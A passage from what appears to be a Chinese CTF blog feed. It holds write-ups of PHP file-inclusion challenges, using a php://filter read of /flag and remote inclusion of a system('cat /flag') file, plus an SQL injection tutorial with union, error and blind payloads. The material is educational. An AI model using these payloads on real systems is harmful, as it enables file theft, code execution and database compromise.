align="center">名称</th><th align="center">作用</th></tr></thead><tbody><tr><td align="center">file</td><td align="center">把整个文件读入一个数组中</td></tr><tr><td align="center">readfile</td><td align="center">读入一个文件并写入到输出缓冲。</td></tr><tr><td align="center">file_get_contents</td><td align="center">将整个文件读入一个字符串</td></tr></tbody></table><p>注：以下提到的**PHP 的内置路径（include_path）**为在<code>php.ini</code>的php配置文件中进行设置的搜索路径。</p><h3 id="file-get-contents"><a href="#file-get-contents" class="headerlink" title="file_get_contents"></a><strong>file_get_contents</strong></h3><p>file_get_contents() 把整个文件读入一个字符串中。<br>该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持，还会使用内存映射技术来增强性能。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">file_get_contents</span>(path,include_path,context,start,max_length)</span><br></pre></td></tr></table></figure><table><thead><tr><th>参数</th><th>描述</th></tr></thead><tbody><tr><td>path</td><td>必需。规定要读取的文件。</td></tr><tr><td>include_path</td><td>可选。只提供了文件名，而没有提供完整的文件路径，将在PHP 的内置路径（include_path）中搜索文件。如果您还想在 include_path(在 php.ini 中)中搜索文件的话，请设置该参数为 ‘1’。</td></tr><tr><td>context</td><td>可选。规定文件句柄的环境（即执行的条件）。context 是一套可以修改流的行为的选项。若使用 NULL，则忽略。</td></tr><tr><td>start</td><td>可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。</td></tr><tr><td>max_length</td><td>可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。</td></tr></tbody></table><h3 id="readfile"><a href="#readfile" class="headerlink" title="readfile"></a><strong>readfile</strong></h3><p>readfile() 函数读取一个文件，并写入到输出缓冲。如果成功，该函数返回从文件中读入的字节数。如果失败，该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">readfile</span>(filename,include_path,context)</span><br></pre></td></tr></table></figure><table><thead><tr><th>参数</th><th>描述</th></tr></thead><tbody><tr><td>filename</td><td>必需。规定要读取的文件。</td></tr><tr><td>include_path</td><td>可选。只提供了文件名，而没有提供完整的文件路径，将在PHP 的内置路径（include_path）中搜索文件。如果您还想在 include_path(在 php.ini 中)中搜索文件的话，请设置该参数为 ‘1’。</td></tr><tr><td>context</td><td>可选。规定文件句柄的环境（即执行的条件）。context 是一套可以修改流的行为的选项。</td></tr></tbody></table><h3 id="file-1"><a href="#file-1" class="headerlink" title="file"></a><strong>file</strong></h3><p>与 file_get_contents() 类似，不同的是 file() 将文件读取后作为一个数组返回。数组中的每个单元都是文件中相应的一行，包括换行符在内。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">file</span>(path,include_path,context)</span><br></pre></td></tr></table></figure><table><thead><tr><th>参数</th><th>描述</th></tr></thead><tbody><tr><td>path</td><td>必需。规定要读取的文件</td></tr><tr><td>include_path</td><td>可选。只提供了文件名，而没有提供完整的文件路径，将在PHP 的内置路径（include_path）中搜索文件。如果也想在 include_path 中搜寻文件的话，可以将该参数设为 “1”</td></tr><tr><td>context</td><td>可选。规定文件句柄的环境（即执行的条件）。context 是一套可以修改流的行为的选项。若使用 null，则忽略。</td></tr></tbody></table><h2 id="file-put-contents"><a href="#file-put-contents" class="headerlink" title="file_put_contents"></a>file_put_contents</h2><p><code>file_put_contents()</code> 函数把一个字符串写入文件中。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> <span class="title function_ invoke__">file_put_contents</span> ( <span class="keyword">string</span> <span class="variable">$filename</span> , <span class="keyword">mixed</span> <span class="variable">$data</span> [, <span class="keyword">int</span> <span class="variable">$flags</span> = <span class="number">0</span> [, resource <span class="variable">$context</span> ]] )</span><br></pre></td></tr></table></figure><table><thead><tr><th align="center">参数</th><th align="left">功能</th></tr></thead><tbody><tr><td align="center">filename</td><td align="left">必需。规定要写入数据的文件。如果文件不存在，则创建一个新文件</td></tr><tr><td align="center">data</td><td align="left">必需。规定要写入文件的数据。可以是字符串、数组或数据流</td></tr><tr><td align="center">flag</td><td align="left">可选。规定如何打开&#x2F;写入文件。可能的值：<br /> FILE_USE_INCLUDE_PATH ：只提供了文件名，而没有提供完整的文件路径，将在PHP 的内置路径（include_path）搜索文件。<br />FILE_APPEND：如果设置了该标志，数据将被追加到文件末尾而不是覆盖文件内容。<br /> LOCK_EX：如果设置了该标志，在写入文件时会获取一个独占锁定（排它锁），以防止其他进程同时写入文件。这可以确保在多个进程同时写入文件时不会发生冲突。</td></tr><tr><td align="center">context</td><td align="left">可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。</td></tr></tbody></table><p>该函数访问文件时，遵循以下<strong>顺序</strong>：</p><ol><li>如果设置了 <code>FILE_USE_INCLUDE_PATH</code> 标志，函数将首先检查 <code>filename</code> 参数的副本是否存在于 PHP 的内置路径（include_path）中。</li><li>函数将打开文件以进行写入操作。</li><li>如果设置了 <code>LOCK_EX</code> 标志，函数将对文件进行锁定（获取独占锁定），以确保在写入文件时不会发生冲突。</li><li>如果设置了 <code>FILE_APPEND</code> 标志，函数将将写入的数据追加到文件末尾。否则，函数将清除文件的内容并写入新的数据。</li><li>函数将写入数据到文件中。</li><li>函数将关闭文件并释放对文件的所有锁定。</li></ol><p>​<br>​</p><h2 id="fopen"><a href="#fopen" class="headerlink" title="fopen"></a>fopen</h2><p>fopen() 函数打开一个文件或 URL。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">fopen</span>(filename,mode,include_path,context)</span><br></pre></td></tr></table></figure><table><thead><tr><th align="left">参数</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left">filename</td><td align="left">必需。规定要打开的文件或 URL。</td></tr><tr><td align="left">mode</td><td align="left">必需。规定您请求到该文件&#x2F;流的访问类型。可能的值：”r” （只读方式打开，将文件指针指向文件头）”r+” （读写方式打开，将文件指针指向文件头）”w” （写入方式打开，清除文件内容，如果文件不存在则尝试创建之）”w+” （读写方式打开，清除文件内容，如果文件不存在则尝试创建之）”a” （写入方式打开，将文件指针指向文件末尾进行写入，如果文件不存在则尝试创建之）”a+” （读写方式打开，通过将文件指针指向文件末尾进行写入来保存文件内容）”x” （创建一个新的文件并以写入方式打开，如果文件已存在则返回 FALSE 和一个错误）”x+” （创建一个新的文件并以读写方式打开，如果文件已存在则返回 FALSE 和一个错误）</td></tr><tr><td align="left">include_path</td><td align="left">可选。如果您还想在 include_path（在 php.ini 中）中搜索文件的话，请设置该参数为 ‘1’。</td></tr><tr><td align="left">context</td><td align="left">可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。</td></tr></tbody></table><h1 id="实战"><a href="#实战" class="headerlink" title="实战"></a><strong>实战</strong></h1><h2 id="No-1-土豆哥给的题目"><a href="#No-1-土豆哥给的题目" class="headerlink" title="No.1 土豆哥给的题目"></a><strong>No.1 土豆哥给的题目</strong></h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">print</span>(<span class="string">&quot;easy lfi, but no flag~~&quot;</span>);</span><br><span class="line"><span class="variable">$cmd</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;cmd&#x27;</span>];</span><br><span class="line"><span class="comment">//flag in /flag</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$cmd</span>)) &#123;</span><br><span class="line">    <span class="keyword">print</span> (<span class="string">&quot;first one:&quot;</span> . <span class="string">&quot;&lt;br&gt;&quot;</span>);</span><br><span class="line">    <span class="variable">$cmd</span> = <span class="title function_ invoke__">preg_replace</span>(<span class="string">&quot;/flag/i&quot;</span>, <span class="string">&#x27;&#x27;</span>, <span class="variable">$cmd</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="variable">$cmd</span>;</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/flag/i&quot;</span>, <span class="variable">$cmd</span>)) &#123;</span><br><span class="line">        <span class="keyword">include</span>(<span class="variable">$cmd</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><p><strong>土豆哥：flag一般在根目录下</strong><del>(根本没听到,做了很多无用功，但偶然接触到了一句话木马)</del></p><p><strong>题解：</strong> </p><p>​<code>$cmd = preg_replace(&quot;/flag/i&quot;, &#39;&#39;, $cmd);</code>这个正则表达式用于删除cmd中含有<code>flag</code>地方，第二个  <code>if (preg_match(&quot;/flag/i&quot;, $cmd))</code>用来判断是否含有flag这个词如果有则进行if下的内容。</p><p>​按题目的含义我们可以构造出<code>flflagag</code>这个作为flag的替代</p><p>​尝试直接进行<code>cmd=/flflagag</code>进行传参，发现并没有出现参数，判读估计进行了隐藏。使用php中的<strong>php:&#x2F;&#x2F;filter</strong>伪协议进行读取，使用<code>cmd=php://filter/read=convert.base64-encode/resource=/flag</code>尝试使用base64加密后读取。</p><p>​页面出现经过base64加密后的内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PD9waHAKJEZMQUcgPSAiUk9JU3tkb3Vkb3VibGVibGVfY21jbWRkX3dpd2lubn0iOw==</span><br></pre></td></tr></table></figure><p>解密</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$FLAG</span> = <span class="string">&quot;ROIS&#123;doudoubleble_cmcmdd_wiwinn&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p>发现flag是个变量无法直接通过include包含直接读出。</p><h2 id="No-2-CTFHub-技能树-RCE-文件包含-远程包含"><a href="#No-2-CTFHub-技能树-RCE-文件包含-远程包含" class="headerlink" title="No.2 CTFHub 技能树-RCE-文件包含-远程包含"></a><strong>No.2 CTFHub 技能树-RCE-文件包含-远程包含</strong></h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>])) &#123;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="title function_ invoke__">strpos</span>(<span class="variable">$_GET</span>[<span class="string">&quot;file&quot;</span>], <span class="string">&quot;flag&quot;</span>)) &#123;</span><br><span class="line">        <span class="keyword">include</span> <span class="variable">$_GET</span>[<span class="string">&quot;file&quot;</span>];</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;Hacker!!!&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">&lt;hr&gt;</span><br><span class="line">i don<span class="string">&#x27;t have shell, how to get flag?&lt;br&gt;</span></span><br><span class="line"><span class="string">&lt;a href=&quot;phpinfo.php&quot;&gt;phpinfo&lt;/a&gt;</span></span><br></pre></td></tr></table></figure><p><strong>页面给了个小提示</strong></p><p><strong>phpinfo</strong></p><table><thead><tr><th>Directive</th><th>Local Value</th><th>Master Value</th></tr></thead><tbody><tr><td>allow_url_fopen</td><td>On</td><td>On</td></tr><tr><td>allow_url_include</td><td>On</td><td>On</td></tr></tbody></table><p><strong>题解：</strong></p><p>查看题目</p><p>​<code> if (!strpos($_GET[&quot;file&quot;], &quot;flag&quot;))</code>发现题目要求必须使用非含flag的文件进行包含，则此时可以考虑进行远程包含。在服务器上建立一个txt文件，里面写入能进行打印出根目录下flag的代码，如：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="title function_ invoke__">system</span>(<span class="string">&quot;cat /flag&quot;</span>); <span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>使用<code>http://</code>协议，最后成功获取代码</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;常见协议与封装协议&quot;&gt;&lt;a href=&quot;#常见协议与封装协议&quot; class=&quot;headerlink&quot; title=&quot;常见协议与封装协议&quot;&gt;&lt;/a&gt;&lt;strong&gt;常见协议与封装协议&lt;/strong&gt;&lt;/h1&gt;&lt;figure class=&quot;highlight php</summary>
      
    
    
    
    <category term="web" scheme="https://wells.host/categories/web/"/>
    
    
    <category term="CTF-Web" scheme="https://wells.host/tags/CTF-Web/"/>
    
    <category term="Web-PHP" scheme="https://wells.host/tags/Web-PHP/"/>
    
  </entry>
  
  <entry>
    <title>SQL注入</title>
    <link href="https://wells.host/posts/e73517db/"/>
    <id>https://wells.host/posts/e73517db/</id>
    <published>2023-11-01T16:05:19.000Z</published>
    <updated>2025-08-05T09:16:33.185Z</updated>
    
    <content type="html"><![CDATA[<h2 id="SQL注入流程"><a href="#SQL注入流程" class="headerlink" title="SQL注入流程"></a><strong>SQL注入流程</strong></h2><ol><li>找到注入点：判断是否有漏洞，寻找插入位置</li><li>构造注入语句，并在注入点注入形成新的SQL语句</li><li>新形成的SQL语句提交数据库处理</li><li>数据库执行新的SQL语句，引发注入攻击</li></ol><h2 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a><strong>前置知识</strong></h2><p><strong>1.特别的数据库</strong></p><p>在MySQL 5.0版本之后，MySQL默认在数据库中存放一个<code>information_schema</code>的数据库，在该库中，需要记住三个表名，分别是：<code>schemata</code>、<code>tables</code>、<code>columns</code>。</p><ol><li><p><code>schemata</code>表存储该用户创建的所有数据库的库名。</p><p>   &gt;&gt;&gt;&gt;其中记录<strong>数据库库名的字段名为</strong>：<code>schema_name</code>。</p></li><li><p><code>tables</code>表存储该用户创建的所有数据库的库名和表名。</p><p>  &gt;&gt;&gt;&gt;其中记录<strong>数据库库名</strong>和<strong>表名的字段名分别是</strong>：<code>tables_schema</code>和<code>table_name</code>。</p></li><li><p><code>columns</code>表存储该用户创建的所有数据库的库名、表名和字段名。</p><p>  &gt;&gt;&gt;&gt;其中记录<strong>数据库库名、表名和字段名的字段名分别是</strong>：<code>tables_schema</code>、<code>table_name</code>和<code>column_name</code>。</p></li></ol><p><strong>2.注释符</strong></p><p>  在MySQL中，常见注释符的表达方式：</p><p>​   <strong><code>#</code> ……</strong> ：<code>#</code>号后面的都会被注释</p><p>​   <strong><code>--</code> ……</strong> ：<code>--</code>号后面的都会被注释，不过在 <code>--</code> 的前后都<strong>需要加空格</strong>再加数据(GET传参时只能使用<code>--</code>，后的<strong>空格用<code>+</code>代替</strong>)</p><p>​   <strong><code>/* ... */</code></strong> ：在查询语句中使用斜杠星号注释，从 &#x2F; 开始到 *&#x2F; 结束的部分都被视为注释，不会被执行。</p><hr><ul><li>但**<code>/* ... */</code>** 的特殊用法-<strong>-条件注释</strong></li></ul><p>条件注释是一种特殊的注释语法，它允许在<strong>注释中使用关键字</strong>，而这些关键字在执行查询时会被<strong>解析为相应的操作</strong>。</p><p>语法格式为：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*!&lt;conditional_keyword&gt; &lt;query_part&gt; */</span></span><br></pre></td></tr></table></figure><p>   例如：<code>index?id=-10 /*!union*/ /*!select*/ 1,2,3</code>等同于<code>index?id=-10 union select 1,2,3</code></p><h2 id="SQL注入常用基础语句"><a href="#SQL注入常用基础语句" class="headerlink" title="SQL注入常用基础语句"></a><strong>SQL注入常用基础语句</strong></h2><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> version(); #查看数据库版本 </span><br><span class="line"></span><br><span class="line"><span class="keyword">select</span> <span class="keyword">user</span>(); #查看数据库用户</span><br><span class="line"></span><br><span class="line"><span class="keyword">select</span> database(); #查看当前库名;</span><br><span class="line"></span><br><span class="line"><span class="keyword">select</span> table_name <span class="keyword">from</span> information_schema.tables <span class="keyword">where</span> table_schema<span class="operator">=</span>database() ; #查看当前库下的表名</span><br><span class="line"></span><br><span class="line"><span class="keyword">select</span> group_concat(table_name) <span class="keyword">from</span> information_schema.tables <span class="keyword">where</span> table_schema<span class="operator">=</span>database() ; </span><br><span class="line">#只回显一行数据下查看当前库下的全部表名</span><br><span class="line"></span><br><span class="line"><span class="keyword">select</span> column_name <span class="keyword">from</span> information_schema.columns <span class="keyword">where</span> table_schema<span class="operator">=</span>database() <span class="keyword">and</span> table_name<span class="operator">=</span><span class="string">&#x27;xxx&#x27;</span>; </span><br><span class="line">#查询列名<span class="operator">-</span>把xxx缓存前面查询到的表名</span><br></pre></td></tr></table></figure><h2 id="SQL注入常用函数"><a href="#SQL注入常用函数" class="headerlink" title="SQL注入常用函数"></a><strong>SQL注入常用函数</strong></h2><h3 id="联合查询-union-注入使用"><a href="#联合查询-union-注入使用" class="headerlink" title="联合查询(union)注入使用"></a>联合查询(<code>union</code>)注入使用</h3><p><strong>1.</strong><code>concat()</code>函数</p><p>​<code>concat()</code>函数：将多个<strong>不同字段</strong>的字符串连接成一个字符串。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">concat(str1，str2) #语法</span><br></pre></td></tr></table></figure><p>注意：返回结果为连接参数产生的字符串，如果有任何一个参数为null，则返回值为null。</p><p><strong>2.</strong><code>group_concat()</code>函数</p><p>​<code>group_concat()</code> 将多个<strong>同个字段</strong>的字符串连接成一个字符串。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">group_concat( [<span class="keyword">distinct</span>] 要连接的字段 [<span class="keyword">order</span> <span class="keyword">by</span> 排序字段 <span class="keyword">asc</span><span class="operator">/</span><span class="keyword">desc</span>] [separator ‘分隔符’]) #语法</span><br></pre></td></tr></table></figure><h3 id="报错注入使用"><a href="#报错注入使用" class="headerlink" title="报错注入使用"></a>报错注入使用</h3><p><strong>1.</strong><code>extractvalue()</code>函数</p><p>​<em>从 MySQL 5.7.8 版本开始，<code>ExtractValue()</code> 函数已被弃用</em></p><p>​<code>ExtractValue()</code> 函数来提取 XML 字符串中的特定路径的值。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ExtractValue(xml_string, xpath_expression)</span><br></pre></td></tr></table></figure><ul><li>xml_frag：xml文档对象的名称，是一个string类型。</li><li>xpath_expr：使用xpath语法格式的路径。</li></ul><p><strong>2.</strong><code>updataxml()</code>函数</p><ul><li>xml_target：xml文档对象的名称，是一个string类型。</li><li>xpath_expr：使用xpath语法格式的路径。</li><li>new_xml：需要更新的内容。</li></ul><p><strong>3.</strong><code>count()+rand()+floor()+group by()</code>函数</p><p><code>rand()</code>函数：rand()返回0到1的随机数。rand(0)返回一个固定的0到1的伪随机数。</p><p><code>floor()</code>函数：<code>floor(x)</code>返回小于或等于 x 的最大整数。</p><p><code>group by</code>语句：<code>group by</code>语句可以根据一个或多个列对结果集进行分组，在分组的列上我们可以使用 COUNT, SUM, AVG,等函数。</p><h3 id="布尔盲注使用"><a href="#布尔盲注使用" class="headerlink" title="布尔盲注使用"></a>布尔盲注使用</h3><p><strong>1.</strong><code>substr()/substring()</code>函数</p><p>​<code>substr()/substring()</code>函数：用来截取数据库某个字段中的一部分。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">substr(string，<span class="keyword">start</span>开始位置，length截取长度)  #语法</span><br></pre></td></tr></table></figure><p>参数</p><ul><li>string：必选，数据库中需要截取的字段</li><li>start：必选。正数，从字符串指定位置开始截取；负数，从字符串结尾指定位置开始   截取；0，在字符串中第一个位置开始截取。</li><li>length：可选，需要截取的长度。缺省。即截取到结束位置</li></ul><p><strong>2.</strong><code>ascii()</code>函数</p><p>​<code>ascii()</code>函数：返回字符串str的最左边的数值。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ascii(str)  #语法</span><br></pre></td></tr></table></figure><p><strong>2.</strong><code>length()</code> 函数，返回字符串的长度</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">length(str) #语法</span><br></pre></td></tr></table></figure><h2 id="注入点分类"><a href="#注入点分类" class="headerlink" title="注入点分类"></a><strong>注入点分类</strong></h2><h3 id="①数字型注入点"><a href="#①数字型注入点" class="headerlink" title="①数字型注入点"></a><strong>①数字型注入点</strong></h3><p><strong>类似的后端语句</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$id</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>];</span><br><span class="line"><span class="variable">$sql</span>=<span class="string">&quot;SELECT * FROM users WHERE id=<span class="subst">$id</span> LIMIT 0,1&quot;</span>;</span><br><span class="line"><span class="variable">$result</span>=<span class="title function_ invoke__">mysql_query</span>(<span class="variable">$sql</span>);</span><br><span class="line"><span class="variable">$row</span> = <span class="title function_ invoke__">mysql_fetch_array</span>(<span class="variable">$result</span>);</span><br></pre></td></tr></table></figure><p> 在 Web 端大概是 <code>http://xxx.com/index.php?id=1</code> 这种形式，其<strong>注入点 id 类型为数字</strong>，所以叫数字型注入点。</p><p>用<code>1 and 1=1</code>进行组合出来的sql注入语句为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from news where id=1 and 1=1</span><br></pre></td></tr></table></figure><h3 id="②字符型注入点"><a href="#②字符型注入点" class="headerlink" title="②字符型注入点"></a>②字符型注入点</h3><p><strong>类似的后端语句</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$id</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;id&#x27;</span>];</span><br><span class="line"><span class="variable">$sql</span>=<span class="string">&quot;SELECT * FROM users WHERE id=&#x27;<span class="subst">$id</span>&#x27; LIMIT 0,1&quot;</span>;</span><br><span class="line"><span class="variable">$result</span>=<span class="title function_ invoke__">mysql_query</span>(<span class="variable">$sql</span>);</span><br><span class="line"><span class="variable">$row</span> = <span class="title function_ invoke__">mysql_fetch_array</span>(<span class="variable">$result</span>);</span><br></pre></td></tr></table></figure><p> 在 Web 端大概是 <code>http://xxx.com/index.php?id=admin</code> 这种形式，其<strong>注入点id 类型为字符类型</strong>，所以叫字符型注入点。</p><p>使用<code>id=1&#39; and 1=1 --+</code>组合出来的sql注入语句为：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> news <span class="keyword">where</span> id<span class="operator">=</span><span class="string">&#x27;admin&#x27;</span> <span class="keyword">and</span> <span class="number">1</span><span class="operator">=</span><span class="number">1</span> <span class="comment">--+&#x27; LIMIT 0,1&quot;;</span></span><br></pre></td></tr></table></figure><p> <strong>注意多了一个引号</strong>。由于注入拼接语句后多了一个<code>&#39;</code>,<strong>需要用注释符进行消除对语句的影响</strong></p><h3 id="③搜索型注入点"><a href="#③搜索型注入点" class="headerlink" title="③搜索型注入点"></a>③搜索型注入点</h3><p>这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数，一般在链接地址中有“keyword&#x3D;关键字”，有的不显示在的链接地址里面，而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句，其原形大致为：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> 表名 <span class="keyword">where</span> 字段 <span class="keyword">like</span> <span class="string">&#x27;%关键字%&#x27;</span>`。</span><br><span class="line"></span><br><span class="line">组合出来的<span class="keyword">sql</span>注入语句为：</span><br><span class="line"><span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> news <span class="keyword">where</span> <span class="keyword">search</span> <span class="keyword">like</span> <span class="string">&#x27;%测试 %&#x27;</span> <span class="keyword">and</span> <span class="string">&#x27;%1%&#x27;</span><span class="operator">=</span><span class="string">&#x27;%1%&#x27;</span></span><br><span class="line"></span><br><span class="line">测试<span class="operator">%</span><span class="string">&#x27; union select 1,2,3,4 and &#x27;</span><span class="operator">%</span><span class="string">&#x27;=&#x27;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="判断注入点"><a href="#判断注入点" class="headerlink" title="判断注入点"></a><strong>判断注入点</strong></h2><p><strong>注意区别语句报错与页面报错、页面数据不正确的区别</strong></p><p>​1.<code>?id=1 and 1=1</code> 和<code>?id=1 and 1=2</code>进行测试如果1&#x3D;1页面显示正常和原页面一样，并且1&#x3D;2页面报错或者页面部分数据显示不正常，那么可以确定此处为数字型注入。</p><p>​2.<code>?id=1&#39; and 1=1 --+ / #</code>和<code>?id=1&#39; and 1=2 --+ / #</code>或使用<code>?id&#39; and &#39;1&#39;=&#39;1</code>和<code>?id&#39; and &#39;1&#39;=&#39;2</code>进行测试如果1&#x3D;1页面显示正常和原页面一样，并且1&#x3D;2页面报错或者页面部分数据显示不正常，那么可以确定此处为字符型注入。</p><p>​3.<code>?id=1%&#39; and 1=1 --+ / #</code>和<code>?id=1%&#39; and 1=2 --+ / #</code>进行测试如果1&#x3D;1页面显示正常和原页面一样，并且1&#x3D;2页面报错或者页面部分数据显示不正常，那么可以确定此处为搜索型注入。</p><h2 id="注入方法"><a href="#注入方法" class="headerlink" title="注入方法"></a>注入方法</h2><h3 id="联合查询注入"><a href="#联合查询注入" class="headerlink" title="联合查询注入"></a>联合查询注入</h3><p><strong>联合查询语句：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select a from b union select c from d where e;</span><br></pre></td></tr></table></figure><p><strong>使用条件</strong>：页面对查询语句有<strong>回显查询数据</strong></p><p><strong>注意事项</strong>：</p><ul><li><p>使用联合查询注入时,位于union前的语句不要出现查询的结果(后端只选择查询结果第一行的情况，若前一部分可以被查询，则联合查询的部分不会回显)</p></li><li><p>若前部分有结果，可在每次的<code>union</code>查询后添加语句<code>limit n,1</code>(n根据题目实际进行切换)起到回显联合查询结果的作用</p><p>注：limit num1，num2的作用为<strong>从第num1行开始显示num2行内容</strong></p></li></ul><h4 id="所需函数"><a href="#所需函数" class="headerlink" title="所需函数"></a>所需函数</h4><p><strong>1.</strong><code>concat()</code>函数</p><p>​<code>concat()</code>函数：将多个<strong>不同字段</strong>的字符串连接成一个字符串。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">concat(str1，str2) #语法</span><br></pre></td></tr></table></figure><p>注意：返回结果为连接参数产生的字符串，如果有任何一个参数为null，则返回值为null。</p><p><strong>2.</strong><code>group_concat()</code>函数</p><p>​<code>group_concat()</code> 将多个<strong>同个字段</strong>的字符串连接成一个字符串。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">group_concat( [<span class="keyword">distinct</span>] 要连接的字段 [<span class="keyword">order</span> <span class="keyword">by</span> 排序字段 <span class="keyword">asc</span><span class="operator">/</span><span class="keyword">desc</span>] [separator ‘分隔符’]) #语法</span><br></pre></td></tr></table></figure><h4 id="注入流程"><a href="#注入流程" class="headerlink" 